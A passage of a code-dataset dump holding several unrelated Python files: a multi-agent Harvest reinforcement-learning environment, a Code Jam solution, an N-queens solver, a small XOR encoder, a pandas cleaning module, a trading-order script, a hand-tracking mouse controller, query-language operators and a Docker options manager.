key: {'image':o_img[key], 'features':self.one_hot(key) } for key in o_img.keys()}\n \n return obs \n\n def get_global_obs(self):\n return {'image':self.global_view()/255 } \n \n def step(self,acts): \n o,r,d,infos = super().step(acts) \n for key in infos: \n infos[key]['eaten_apples'] = 0\n infos[key]['eaten_close_apples'] = 0\n\n for key in self.agents:\n self.total_reward_dict[key].append(r[key])\n\n for key in self.agents:\n if self.agents[key].list_pos in self.current_apple_points:\n infos[key]['eaten_apples'] += 1\n self.metrics['{}-apples_consumed'.format(key)] += 1\n # self.single_update_map(move_squares[key][0], move_squares[key][1], b\"0\")\n if self.count_apples_in_radius(5, self.agents[key].list_pos) < 4:\n infos[key]['eaten_close_apples'] += 1\n self.metrics['low_density_apples_eaten'] +=1\n self.metrics['{}-close_apples_consumed'.format(key)] += 1\n self.metrics['total_apples_eaten'] +=1 \n\n # Update metrics for raw environment rewards \n raw_rewards = 0 \n for k,v in r.items() :\n raw_rewards +=v \n self.metrics['raw_env_rewards'] += raw_rewards\n\n #Update all variables needed for feature obs and for tracking the metrics\n self.computed_agent_pos = {key: self.agents[key].pos for key in self.agents.keys()} \n self.compute_current_apples()\n self.compute_closest_apples()\n self.compute_closest_pos() \n self.total_close_apples = {key: self.count_apples_in_radius(5, self.agents[key].pos) for key in self.agents} \n\n d = {'__all__': self.timesteps == self.horizon, 'a0': self.timesteps == self.horizon, 'a1': self.timesteps == self.horizon}\n feature_obs = {key: np.array([float(self.agents[key].pos[0]), float(self.agents[key].pos[1]),\n float(self.agents[key].int_orientation),\n float(self.closest_pos[key][0][0]),float(self.closest_pos[key][0][1]),\n float(self.closest_pos[key][1]),\n float(self.closest_apples[key][0]), float(self.closest_apples[key][1]),\n float(self.total_close_apples[key]),\n float(len(self.current_apple_points))] + [0.0] * (2 * self.num_agents))\n for key in ['a' + str(i) for i in range(self.num_agents)]}\n for key in self.agents:\n infos[key]['feature_obs'] = feature_obs[key] \n # feature-engineered observations\n if not self.image_obs:\n obs = feature_obs \n else :\n o_img = {key: o[key]['curr_obs']/255 for key in ['a' + str(i) for i in range(self.num_agents)]}\n if not self.one_hot_id:\n obs = { key : {'image':o_img[key]} for key in o_img.keys()} \n else : \n obs ={ key: {'image':o_img[key], 'features':self.one_hot(key) } for key in o_img.keys()}\n\n if d['__all__']:\n self.metrics['equality'] = self.compute_equality(deepcopy(self.total_reward_dict))\n self.metrics['sustainability'] = self.compute_sustainability(deepcopy(self.total_reward_dict))\n\n return obs,r,d,infos \n\n def custom_action(self, agent, action):\n agent.fire_beam(b\"F\") \n updates = self.update_map_fire(\n agent.pos.tolist(),\n agent.get_orientation(),\n self.all_actions[\"FIRE\"],\n fire_char=b\"F\",\n )\n return updates\n\n def custom_map_update(self):\n \"\"\"See parent class\"\"\"\n # spawn the apples\n new_apples = self.spawn_apples()\n self.update_map(new_apples)\n \n def compute_current_apples(self):\n # Compute the current apple points in the map\n self.current_apple_points = []\n h,w = self.world_map.shape\n for i in range(h):\n for j in range(w):\n if self.world_map[i,j] == b\"A\":\n self.current_apple_points.append([i,j])\n\n def compute_closest_apples(self):\n self.closest_apples = {'a'+str(i): [0, 0] for i in range(self.num_agents)} # sentinel value if there are no apples\n if self.current_apple_points:\n self.closest_apples = {}\n for key in self.computed_agent_pos.keys():\n distances = np.sum(np.abs(np.array(self.current_apple_points) - np.array(self.computed_agent_pos[key])), axis=1)\n min_dist_idx = np.argmin(distances)\n self.closest_apples[key] = self.current_apple_points[min_dist_idx]\n \n def compute_closest_pos(self):\n self.closest_pos = {'a'+str(i): [0, 0] for i in range(self.num_agents)} # sentinel value if there is no waste\n for key in self.computed_agent_pos.keys():\n distances = np.sum(np.abs(\n np.array([[np.inf, np.inf] if k == key else self.computed_agent_pos[key] for k in self.computed_agent_pos.keys()]) - np.array(self.computed_agent_pos[key])\n ), axis=1)\n min_dist_idx = np.argmin(distances)\n self.closest_pos[key] = (self.computed_agent_pos['a'+str(min_dist_idx)], self.agents['a'+str(min_dist_idx)].int_orientation)\n \n def spawn_apples(self):\n \"\"\"Construct the apples spawned in this step.\n Returns\n -------\n new_apple_points: list of 2-d lists\n a list containing lists indicating the spawn positions of new apples\n \"\"\"\n\n new_apple_points = []\n agent_positions = self.agent_pos\n random_numbers = rand(len(self.apple_points))\n r = 0\n for i in range(len(self.apple_points)):\n row, col = self.apple_points[i]\n # apples can't spawn where agents are standing or where an apple already is\n if [row, col] not in agent_positions and self.world_map[row, col] != b\"A\":\n num_apples = 0\n for j in range(-APPLE_RADIUS, APPLE_RADIUS + 1):\n for k in range(-APPLE_RADIUS, APPLE_RADIUS + 1):\n if j ** 2 + k ** 2 <= APPLE_RADIUS:\n x, y = self.apple_points[i]\n if (\n 0 <= x + j < self.world_map.shape[0]\n and self.world_map.shape[1] > y + k >= 0\n ):\n if self.world_map[x + j, y + k] == b\"A\":\n num_apples += 1\n\n spawn_prob = SPAWN_PROB[min(num_apples, 3)]\n rand_num = random_numbers[r]\n r += 1\n if rand_num < spawn_prob:\n new_apple_points.append((row, col, b\"A\"))\n return new_apple_points\n\n def count_apples(self, window):\n # compute how many apples are in window\n unique, counts = np.unique(window, return_counts=True)\n counts_dict = dict(zip(unique, counts))\n num_apples = counts_dict.get(b\"A\", 0)\n return num_apples\n \n def count_apples_in_radius(self, radius, loc):\n # count number of CURRENT apples close\n num_apples = 0\n for j in range(-radius, radius + 1):\n for k in range(-radius, radius + 1):\n # if within radius and a current apple\n if j ** 2 + k ** 2 <= radius and [loc[0] + j,\n loc[1] + k] in self.current_apple_points:\n num_apples += 1\n\n return num_apples\n \n def compute_equality(self,reward_dict): \n eq = 0 \n total_sum = 0\n reward_dict = {k:sum(v) for k,v in reward_dict.items()}\n n = len(reward_dict.keys())\n for i in reward_dict.keys(): \n for j in reward_dict.keys(): \n eq += abs(reward_dict[i] - reward_dict[j])\n total_sum += reward_dict[i]\n if total_sum ==0 :\n total_sum = 0.001\n eq = 1 - eq/(2*n*total_sum)\n return eq\n\n def compute_sustainability(self,reward_dict): \n avg_times =[] \n for k in reward_dict.keys():\n t_sum = 0 \n for t,i in enumerate(reward_dict[k]):\n t_sum += t*i\n denom = sum(reward_dict[k]) \n denom = max(denom,1)\n avg_times.append(t_sum/denom)\n return np.mean(avg_times)\n\n\nif __name__ =='__main__':\n import time \n import matplotlib.pyplot as plt\n from harvest_features import HarvestFeatures\n import imageio \n from env_utils import make_video_from_rgb_imgs\n from PIL import Image \n env = HarvestEnv(num_agents=2,image_obs=1,horizon=100)\n env = HarvestFeatures(num_agents=2,horizon=100)\n o1 = env.reset()\n #o2 = env2.reset() \n print('o1',o1['a0']) \n #print('o2',o2) \n #print(env.action_space.n)\n for k in range(1):\n env.reset() \n imgs = [] \n for i in range(100):\n a1,a2 = env.action_space.sample(),env.action_space.sample() \n print(a1)\n actions = {'a0':a1,'a1':a2}\n # acts = {key: int(np.argmax(np.random.multinomial(1, scipy.special.softmax(actions[key].astype(np.float64)))))\n #for key in actions.keys()} \n o1,r1,d1,i1 = env.step(actions)\n # o2,r2,d2,i2 = env2.step(acts)\n #print('o2',o2)\n #img = env.full_map_to_colors() \n #imgs.append(img)\n print(env.metrics)\n height, width, _ = imgs[0].shape\n # Upscale to be more legible\n width *= 20\n height *= 20\n imgs = [image.astype('uint8') for image in imgs]\n make_video_from_rgb_imgs(imgs, '.',resize=(width,height))\n \n # plt.imshow(img)\n # plt.show() ","repo_name":"Algorithmic-Alignment-Lab/contracts","sub_path":"environments/harvest_new.py","file_name":"harvest_new.py","file_ext":"py","file_size_in_byte":17220,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"23559551581","text":"#GJAM\n#inn.in\nfrom sys import * \n\ndef execute():\n input_name = argv[1]\n output_name = \"out.txt\"\n input_file = open(input_name)\n output_file = open(output_name, 'w')\n\n main(input_file, output_file)\n\n input_file.close()\n output_file.close()\n\n\ndef last_tidy(number):\n if number == [0]:\n return [] \n elif len(number) == 1:\n return number\n\n # find first clash\n good = True \n for i in range(len(number) - 1):\n if number[i] > number[i + 1]:\n good = False\n break\n if good:\n return number\n\n smaller_num = number[:i+1]\n smaller_num[-1] = smaller_num[-1] - 1\n return last_tidy(smaller_num) + [9]* (len(number) - i - 1) \n\ndef main(input_file, output):\n # main algorithm goes here\n T = int(next(input_file))\n for case in range(T):\n number = [int(x) for x in next(input_file).strip()]\n out = ''.join([str(x) for x in last_tidy(number)])\n output.write(\"Case #%i: %s\\n\" % (case + 1, out))\n\nexecute()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/376.py","file_name":"376.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42796607635","text":"#!/usr/bin/python3\n\"\"\"N queens.\"\"\"\n\n\nimport sys\n\n\ndef is_safe(board, row, col):\n \"\"\"Check if it's safe to place a queen at board[row][col].\"\"\"\n # Check row on the left side\n for i in range(col):\n if board[row][i]:\n return False\n\n # Check upper diagonal on the left side\n i, j = row, col\n while i >= 0 and j >= 0:\n if board[i][j]:\n return False\n i -= 1\n j -= 1\n\n # Check lower diagonal on the left side\n i, j = row, col\n while j >= 0 and i < len(board):\n if board[i][j]:\n return False\n i += 1\n j -= 1\n\n return True\n\n\ndef solve_nqueens(n):\n \"\"\"Solve the N queens problem.\"\"\"\n board = [[0 for _ in range(n)] for _ in range(n)]\n solutions = []\n\n def solve_util(board, col):\n \"\"\"Utility function to solve the N queens problem.\"\"\"\n # Base case: If all queens are placed\n if col == n:\n solution = []\n for i in range(n):\n for j in range(n):\n if board[i][j] == 1:\n solution.append([i, j])\n solutions.append(solution)\n return True\n\n # Consider this column and try placing a queen in all rows\n for row in range(n):\n if is_safe(board, row, col):\n # Place the queen in the current position\n board[row][col] = 1\n\n # Recur to place the rest of the queens\n solve_util(board, col + 1)\n\n # Backtrack and remove the queen from the current position\n board[row][col] = 0\n\n solve_util(board, 0)\n\n return solutions\n\n\nif __name__ == \"__main__\":\n # Get the number of queens from the command line argument\n if len(sys.argv) != 2:\n print(\"Usage: nqueens N\")\n sys.exit(1)\n\n try:\n n = int(sys.argv[1])\n except ValueError:\n print(\"N must be a number\")\n sys.exit(1)\n\n if n < 4:\n print(\"N must be at least 4\")\n sys.exit(1)\n\n # Solve the N queens problem\n solutions = solve_nqueens(n)\n\n # Print the solutions\n for solution in solutions:\n print(solution)\n","repo_name":"sekaina1234/alx-higher_level_programming","sub_path":"0x08-python-more_classes/101-nqueens.py","file_name":"101-nqueens.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18676469908","text":"\nmessage = \"Prueba\"\n\nllave = 0x33\nmsg_list = list(message)\ncoded = list()\ncoded.extend([0x00, llave])\nfor i in range(len(msg_list)):\n coded.append( ord(msg_list[i])^llave)\ncoded.append(0xFF)\nwith open(\"file.hex\", \"wb\") as bin_file:\n\tbin_file.write(bytes(coded))\n","repo_name":"leahycarlos21/ProcesadorARMv4","sub_path":"Python/encoXOR.py","file_name":"encoXOR.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28636326584","text":"import cv2\nimport mediapipe as mp \nimport pyautogui \n\ncam=cv2.VideoCapture(0)\nhand_detector=mp.solutions.hands.Hands()\ndrawing_utils=mp.solutions.drawing_utils\nscreen_w,screen_h=pyautogui.size()\nindex_y=0\nwhile True:\n _,frame=cam.read()\n frame=cv2.flip(frame,1)\n frame_h,frame_w,_=frame.shape\n rgb_frame=cv2.cvtColor(frame,cv2.COLOR_BGR2RGB)\n output=hand_detector.process(rgb_frame)\n hands=output.multi_hand_landmarks\n if hands:\n for hand in hands:\n drawing_utils.draw_landmarks(frame,hand)\n landmarks=hand.landmark\n for id,landmark in enumerate(landmarks):\n x=int(landmark.x*frame_w)\n y=int(landmark.y*frame_h)\n if id == 8:\n cv2.circle(img=frame,center=(x,y),radius=10,color=(0,255,255))\n index_x=screen_w/frame_w*x \n index_y=screen_h/frame_h*y\n pyautogui.moveTo(index_x,index_y)\n \n\n\n if id == 4:\n cv2.circle(img=frame,center=(x,y),radius=10,color=(0,255,255))\n thumb_x=screen_w/frame_w*x \n thumb_y=screen_h/frame_h*y\n print( abs(index_y - thumb_y))\n if abs(index_y - thumb_y) < 20:\n print(\"clicke\")\n pyautogui.click()\n pyautogui.sleep(1)\n\n \n\n\n\n cv2.imshow(\"V Mouse\",frame)\n cv2.waitKey(1)","repo_name":"SHARKZTECH/Virtual_Mouse","sub_path":"main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13075099044","text":"import pandas as pd\nfrom dateutil.parser import parse\nimport operator\n\npd.options.mode.use_inf_as_na = True\n\n\nNA_CHARACTERS = [\n \"\",\n \"NA\",\n \"None\"\n]\n\n\nBOOLEAN_CHARACTERS = [\n \"true\",\n \"false\",\n \"t\",\n \"f\"\n]\n\n\ndef check_type(column_to_check):\n \"\"\"\n Check the most common type in a column.\n @ input: column_to_check = a column to check.\n @ output: type of the column to check (the type is in string format).\n \"\"\"\n\n count_types = {'int': 0, 'float': 0, 'bool': 0, 'datetime64': 0, 'object': 0}\n\n for value in column_to_check:\n try:\n _ = int(value)\n count_types['int'] += 1\n continue\n except ValueError:\n pass\n\n try:\n _ = float(value)\n count_types['float'] += 1\n continue\n except ValueError:\n pass\n\n if value.lower() in BOOLEAN_CHARACTERS:\n count_types['bool'] += 1\n continue\n\n try:\n _ = parse(value.lower())\n count_types['datetime64'] += 1\n continue\n except ValueError:\n pass\n\n count_types['object'] += 1\n\n return max(count_types.items(), key=operator.itemgetter(1))[0]\n\n\ndef check_type_of_object(column_to_check):\n \"\"\"\n Check the most common type in an object column.\n @ input: column_to_check = a column to check with object values.\n @ output: type of the object column to check (the type is in string format).\n \"\"\"\n\n count_types = {'bool': 0, 'datetime64': 0, 'object': 0}\n\n for value in column_to_check:\n if value.lower() in BOOLEAN_CHARACTERS:\n count_types['bool'] += 1\n continue\n\n try:\n _ = parse(value.lower())\n count_types['datetime64'] += 1\n continue\n except ValueError:\n pass\n\n count_types['object'] += 1\n\n return max(count_types.items(), key=operator.itemgetter(1))[0]\n\n\ndef determine_column_types(df):\n \"\"\"\n Determine column types of a data frame\n @ input: df = data frame\n @ output: new data frame with new column types\n \"\"\"\n\n change_of_column_types = {}\n\n for column, column_type in zip(df.columns, df.dtypes):\n if column_type == \"object\":\n change_of_column_types[column] = check_type_of_object(df[column].values)\n\n return df.astype(change_of_column_types)\n\n\ndef remove_rows_based_on_na(df):\n \"\"\"\n Remove rows if it contains too many (> 50%) NA values\n @ input: df = data frame\n @ output: new data frame with rows removed if they contained too many NA values\n \"\"\"\n\n\ndef predict_categorical_features(df):\n \"\"\"\n Try to predict categorical features\n Example:\n - feature with values of 1-5 letters\n - feature with \"category\" or \"cat\" in their name\n - feature with 2 - 10 unique values\n @ input: df = data frame\n @ output:\n \"\"\"\n\n\ndef define_categorical_features(df):\n \"\"\"\n Define categorical features in the data frame\n @ input: df = data frame\n @ output: new data frame with categorical features\n \"\"\"\n\n new_df = df.copy()\n\n feature_name_index = {}\n feature_unique_counts = {}\n\n for index, feature_name in enumerate(df.columns):\n feature_name_index[feature_name] = index\n feature_unique_values = df[feature_name].unique()\n feature_unique_counts[feature_name] = len(feature_unique_values)\n\n print(\"The feature name '%s' has %d unique values (examples of values: %s, %s or %s).\"\n % (feature_name, feature_unique_counts[feature_name], feature_unique_values[0], feature_unique_values[1],\n feature_unique_values[2]))\n\n wrong_value = True\n input_feature_name = 'q'\n while wrong_value:\n print(\"Which feature do you want to categorize? Write down its full name (press 'q' to stop this function).\")\n\n input_feature_name = input()\n if input_feature_name in df.columns or input_feature_name == 'q':\n wrong_value = False\n else:\n print(\"Oops, it seems that this value is not accepted.\")\n\n if input_feature_name == 'q':\n print(\"Exiting the categorization function ...\")\n return new_df\n\n \ndef remove_na(df):\n for i, j in df.iteritems():\n print(i, j)\n\n\nif __name__ == \"__main__\":\n df_1 = pd.read_csv('../../data/S&P500/all_stocks_5yr.csv', sep=',')\n df_2 = pd.read_csv('../../data/wine_quality/winequality_red_with_na.csv', sep=';')\n\n define_categorical_features(df_2)\n","repo_name":"LeHibou9/special_python_project","sub_path":"src/preprocessing/Cleaning.py","file_name":"Cleaning.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23399604182","text":"import numpy as np\nimport pandas as pd\n\nmy_data = pd.read_csv('some_data.csv').loc[::-1].reset_index(drop=True)\nmy_data['Date'] = pd.to_datetime(my_data['Date'])\n\n\ndef submit_orders(alpha, asset):\n orders_df = pd.DataFrame()\n orders_df['Trade ID'] = pd.Series(range(1, len(my_data) + 1))\n orders_df['Date'] = my_data['Date'] + pd.DateOffset(days=1)\n orders_df['Asset'] = asset\n orders_df['Trip'] = 'ENTER'\n orders_df['Action'] = 'BUY'\n orders_df['Type'] = 'LMT'\n orders_df['Price'] = (1 + alpha) * my_data['Close']\n orders_df['Status'] = 'SUBMITTED'\n\n return orders_df\n\n\nnew_df = submit_orders(-.01, 'IVV')\n\ncanceled_entry_orders = pd.DataFrame(columns=['Trade ID', 'Date', 'Asset', 'Trip', 'Action', 'Type', 'Price', 'Status'])\nfor i in range(len(new_df)):\n filled = False\n not_known = False\n for x in range(0, 3):\n if new_df.iloc[i]['Date'] + pd.DateOffset(days=x) in my_data['Date'].values:\n print(((my_data[my_data.Date == new_df.iloc[i]['Date'] + pd.DateOffset(days=x)])['Low'])[0])\n if my_data[my_data.Date == new_df.iloc[i]['Date'] + pd.DateOffset(days=x)]['Low'] <= new_df.iloc[i]['Price']:\n filled = True\n break\n else:\n not_known = True\n break\n\n if filled or not_known:\n continue\n\n canceled_entry_orders = canceled_entry_orders.append(new_df.iloc[i], ignore_index=True)\n\nprint(canceled_entry_orders)\n","repo_name":"22claymanb/benjamin-clayman-533","sub_path":"HW2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25588898218","text":"from . import ast_base_types\nfrom . import typeinfo\nfrom . import queryset\nimport re\nimport datetime\nimport math\n\nclass op_path_one(ast_base_types.Op):\n def __call__(self, global_qs, local_qs):\n parent = self.args[0](global_qs, local_qs)\n res = self.args[1](global_qs, parent)\n res.is_path_multi = parent.is_path_multi\n return res\n \nclass op_path_multi(ast_base_types.Op):\n def __call__(self, global_qs, local_qs):\n assert isinstance(self.args[1], ast_base_types.Name) or isinstance(self.args[1], ast_base_types.ParenExpr), \"..%s is invalid\" % type(self.args[1])\n local_qs = self.args[0](global_qs, local_qs).descendants(\n include_leaves=self.context.args.get(\"descendant_leaves\", False))\n local_qs.is_path_multi = True\n return self.args[1](global_qs, local_qs)\n\nclass MathOp(ast_base_types.Op):\n abstract = True\n def op(self, a, b):\n raise NotImplementedError\n def __call__(self, global_qs, local_qs):\n def result():\n for a in self.args[0](global_qs, local_qs):\n for b in self.args[1](global_qs, local_qs):\n yield self._op(a, b)\n return queryset.QuerySet(result())\n def _op(self, a, b):\n if a is None:\n if typeinfo.is_dict(b):\n a = {}\n elif typeinfo.is_list(b):\n a = []\n elif typeinfo.is_set(b):\n a = set()\n else:\n a = 0\n if b is None:\n if typeinfo.is_dict(a):\n b = {}\n elif typeinfo.is_list(a):\n b = []\n elif typeinfo.is_set(a):\n b = set()\n else:\n b = 0\n return self.op(a, b)\n \n \nclass op_mul_mul(MathOp):\n def op(self, a, b):\n return a * b\n\nclass op_mul_div(MathOp):\n def op(self, a, b):\n return a / b\n\nclass op_mul_mod(MathOp):\n def op(self, a, b):\n return a % b\n \nclass op_add_add(MathOp):\n def __call__(self, global_qs, local_qs):\n left = self.args[0](global_qs, local_qs)\n right = self.args[1](global_qs, local_qs)\n if self.context.args.get(\"add_as_join\", True) and (len(left) != 1 or len(right) != 1):\n # Same as op_union_union\n def result():\n for a in left:\n yield a\n for b in right:\n yield b\n return queryset.QuerySet(result())\n else:\n # Same as base class\n def result():\n for a in left:\n for b in right:\n yield self._op(a, b)\n return queryset.QuerySet(result()) \n def op(self, a, b):\n if not (isinstance(a, int) and isinstance(b, float)):\n try:\n b = type(a)(b)\n except:\n pass\n if typeinfo.is_dict(a) and typeinfo.is_dict(b):\n res = {}\n res.update(a)\n res.update(b)\n return res\n elif typeinfo.is_set(a) and typeinfo.is_set(a):\n return a.union(b)\n elif typeinfo.is_time(a) and typeinfo.is_time(b):\n # Isn't this a bit of a hack? But ObjectPath allows this...\n time_as_delta = (datetime.datetime.combine(datetime.datetime(1970,1,1), b)\n - datetime.datetime.combine(datetime.datetime(1970,1,1), datetime.time(0, 0, 0, 0, b.tzinfo)))\n return (datetime.datetime.combine(datetime.datetime(1970,1,1), a) + time_as_delta).time()\n return a + b\n\nclass op_add_sub(MathOp):\n def op(self, a, b):\n if typeinfo.is_time(a) and typeinfo.is_time(b):\n a = datetime.datetime.combine(datetime.datetime(1970,1,1), a)\n b = datetime.datetime.combine(datetime.datetime(1970,1,1), b)\n res = a - b\n return typeinfo.TimeOnlyDelta(res.days, res.seconds, res.microseconds)\n return a - b\n\nclass op_comp_in(MathOp):\n def op(self, a, b):\n if self.context.args.get(\"in_queryset\", True) and op_comp_is(self.context, None).op(a, b):\n return True\n if typeinfo.is_list(a) and set(a).intersection(set(b)):\n return True\n try:\n return a in b\n except:\n return False\n\nclass op_comp_not_in(MathOp):\n def op(self, a, b):\n if self.context.args.get(\"in_queryset\", True) and op_comp_is(self.context, None).op(a, b):\n return False\n if typeinfo.is_list(a) and set(a).intersection(set(b)):\n return False\n try:\n return a not in b\n except:\n return True\n \nclass op_comp_is(MathOp):\n def __call__(self, global_qs, local_qs):\n def result():\n a_qs = self.args[0](global_qs, local_qs)\n b_qs = self.args[1](global_qs, local_qs)\n if self.context.args.get(\"empty_queryset_is_none\", True):\n if not a_qs and len(b_qs) == 1 and (b_qs[0] is None):\n yield True\n return\n if not b_qs and len(a_qs) == 1 and (a_qs[0] is None):\n yield True\n return\n for a in a_qs:\n for b in b_qs:\n yield self._op(a, b)\n return queryset.QuerySet(result())\n def op(self, a, b):\n if a == b:\n return True\n if not a and not b:\n if not self.context.args.get(\"cmp_empty_same\", False):\n return type(a) is type(b)\n return True\n if typeinfo.is_float(b):\n a, b = b, a\n try:\n b = type(a)(b)\n except:\n return False\n if typeinfo.is_float(a):\n return math.isclose(a, b)\n else:\n return a == b\n \nclass op_comp_is_not(MathOp):\n def __call__(self, global_qs, local_qs):\n def result():\n a_qs = self.args[0](global_qs, local_qs)\n b_qs = self.args[1](global_qs, local_qs)\n if self.context.args.get(\"empty_queryset_is_none\", True):\n if not a_qs and len(b_qs) == 1 and (b_qs[0] is None):\n yield False\n return\n if not b_qs and len(a_qs) == 1 and (a_qs[0] is None):\n yield False\n return\n for a in a_qs:\n for b in b_qs:\n yield self._op(a, b)\n return queryset.QuerySet(result())\n def op(self, a, b):\n if a == b:\n return False\n if not a and not b:\n if not self.context.args.get(\"cmp_empty_same\", False):\n return type(a) is not type(b)\n return False\n if typeinfo.is_float(b):\n a, b = b, a\n try:\n b = type(a)(b)\n except:\n return True\n if typeinfo.is_float(a):\n return not math.isclose(a, b)\n else:\n return not a == b\n\nclass op_comp_lt(MathOp):\n def op(self, a, b):\n return a < b\n\nclass op_comp_gt(MathOp):\n def op(self, a, b):\n return a > b\n\nclass op_comp_lte(MathOp):\n def op(self, a, b):\n return a <= b\n\nclass op_comp_gte(MathOp):\n def op(self, a, b):\n return a >= b\n\nclass op_comp_regexp(MathOp):\n def op(self, a, b):\n if typeinfo.is_str(a):\n a = re.compile(a)\n if isinstance(b, str):\n res = a.match(b)\n if not res: return False\n if len(res.groups()) == 0:\n return True\n return res.groups()\n else:\n for bitem in b:\n if a.match(bitem):\n return True\n return False\n\nclass op_bool_and(MathOp):\n def op(self, a, b):\n return a and b\n\nclass op_bool_or(MathOp):\n def op(self, a, b):\n return a or b\n\nclass nop_expr(ast_base_types.Op):\n def __call__(self, global_qs, local_qs):\n def result():\n for a in self.args[0](global_qs, local_qs):\n yield not a\n return queryset.QuerySet(result())\n\nclass op_union_union(ast_base_types.Op):\n def __call__(self, global_qs, local_qs):\n def result():\n for a in self.args[0](global_qs, local_qs):\n yield a\n for b in self.args[1](global_qs, local_qs):\n yield b\n return queryset.QuerySet(result())\n \nclass filter(ast_base_types.Op):\n def filter_qs(self, filter, global_qs, local_qs):\n if self.context.args.get(\"filter_lists\", True) and len(local_qs) == 1 and typeinfo.is_list(local_qs[0]):\n if isinstance(filter, ast_base_types.Const) and typeinfo.is_int(filter.value):\n yield local_qs[0][filter.value]\n else:\n yield list(self.filter_qs(filter, global_qs, queryset.QuerySet(local_qs[0])))\n return\n def getitem(obj, key):\n if typeinfo.is_list(obj):\n for item in obj:\n try:\n yield item[key]\n except:\n pass\n else:\n try:\n yield obj[key]\n except:\n pass\n for idx, item in enumerate(local_qs):\n filter_qs = queryset.QuerySet([item])\n filter_qs.is_filter_qs = True\n if isinstance(filter, ast_base_types.Name) and filter.name not in (\"$\", \"@\"):\n for res in getitem(item, filter.name):\n yield res\n elif ( self.context.args.get(\"filter_bad_syntax\", True)\n and isinstance(filter, op_path_one)\n and isinstance(filter.args[0], ast_base_types.Name)\n and filter.args[0].name == \"@\"\n and isinstance(filter.args[1], ast_base_types.Name)):\n for res in getitem(item, filter.args[1].name):\n yield res \n else:\n for filter_res in filter(global_qs, filter_qs):\n if (self.context.args.get(\"index_filter_queryset\", True)\n and typeinfo.is_int(filter_res)\n and len(local_qs) > 0\n and not typeinfo.is_list(local_qs[0])):\n if idx == filter_res:\n yield item\n elif typeinfo.is_int(filter_res):\n try:\n yield item[filter_res]\n except:\n pass\n elif typeinfo.is_str(filter_res):\n for res in getitem(item, filter_res):\n yield res\n else:\n if filter_res:\n yield item\n def __call__(self, global_qs, local_qs):\n local_qs = self.args[0](global_qs, local_qs)\n for filter in self.args[1:]:\n res_qs = queryset.QuerySet(self.filter_qs(filter, global_qs, local_qs))\n if not isinstance(filter, ast_base_types.Const) or not typeinfo.is_int(filter.value):\n res_qs.is_path_multi = local_qs.is_path_multi\n local_qs = res_qs\n return local_qs\n","repo_name":"innovationgarage/sakstig","sub_path":"sakstig/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":11291,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"40549615798","text":"from charmhelpers.core import unitdata\n\n\nclass DockerOpts:\n '''\n DockerOptsManager - A Python class for managing the DEFAULT docker\n options on a daemon dynamically. As a docker daemon integrates with more\n services it becomes quickly unweidly to just \"template and go\" for this\n solution. Having a data bag to stuff in options/multioptions and render to\n a template is a far nicer solution.\n\n THe underlying data-provider is backed by a SQLITE database on each unit,\n tracking the dictionary, provided from the 'charmhelpers' python package.\n\n Summary:\n opts = DockerOpts()\n opts.add('bip', '192.168.22.2')\n opts.to_s()\n '''\n\n def __init__(self, opts_path=None):\n self.db = unitdata.kv()\n if not self.db.get('docker_opts'):\n self.data = {}\n else:\n self.data = self.db.get('docker_opts')\n\n def __save(self):\n self.db.set('docker_opts', self.data)\n\n def add(self, key, value, strict=False):\n '''\n Adds data to the map of values for the DockerOpts file.\n Supports single values, or \"multiopt variables\". If you\n have a flag only option, like --tlsverify, set the value\n to None. To preserve the exact value, pass strict\n\n eg:\n opts.add('label', 'foo')\n opts.add('label', 'foo, bar, baz')\n opts.add('flagonly', None)\n opts.add('cluster-store', 'consul://a:4001,b:4001,c:4001/swarm', strict=True)\n '''\n if strict:\n self.data['{}-strict'.format(key)] = value\n\n if value:\n values = [x.strip() for x in value.split(',')]\n # handle updates\n if key in self.data and self.data[key] is not None:\n item_data = self.data[key]\n for c in values:\n c = c.strip()\n if c not in item_data:\n item_data.append(c)\n self.data[key] = item_data\n else:\n # handle new\n self.data[key] = values\n else:\n # handle flagonly\n self.data[key] = None\n self.__save()\n\n def exists(self, key):\n '''\n Predicate method to determine if the backing dictionary has a flag for\n the requested key.\n\n\n eg:\n opts.exists('foo')\n > True\n '''\n found = False\n if key in self.data:\n found = True\n if '{}-strict'.format(key) in self.data.keys():\n found = True\n\n return found\n\n def pop(self, key):\n '''\n Completely remove a flag from the DockerOpts manager including any\n associated values. Assuming the data is currently:\n {'foo': ['bar', 'baz']}\n\n d.pop('foo')\n > {}\n\n :params key:\n '''\n\n self.data.pop(key)\n self.__save()\n\n def remove(self, key, value):\n '''\n Remove a flag value from the DockerOpts manager\n Assuming the data is currently {'foo': ['bar', 'baz']}\n\n d.remove('foo', 'bar')\n > {'foo': ['baz']}\n\n :params key:\n :params value:\n '''\n self.data[key].remove(value)\n self.__save()\n\n def to_s(self):\n '''\n Render the flags to a single string, prepared for the Docker\n Defaults file. Typically in /etc/default/docker\n\n d.to_s()\n > \"--foo=bar --foo=baz\"\n '''\n flags = []\n for key in self.data:\n if self.data[key] == None:\n # handle flagonly\n flags.append(\"--{}\".format(key))\n elif '-strict' in key:\n # handle strict values\n proper_key = key.rstrip('-strict')\n flags.append(\"--{}={}\".format(proper_key, self.data[key]))\n else:\n # handle multiopt and typical flags\n for item in self.data[key]:\n flags.append(\"--{}={}\".format(key, item))\n return ' 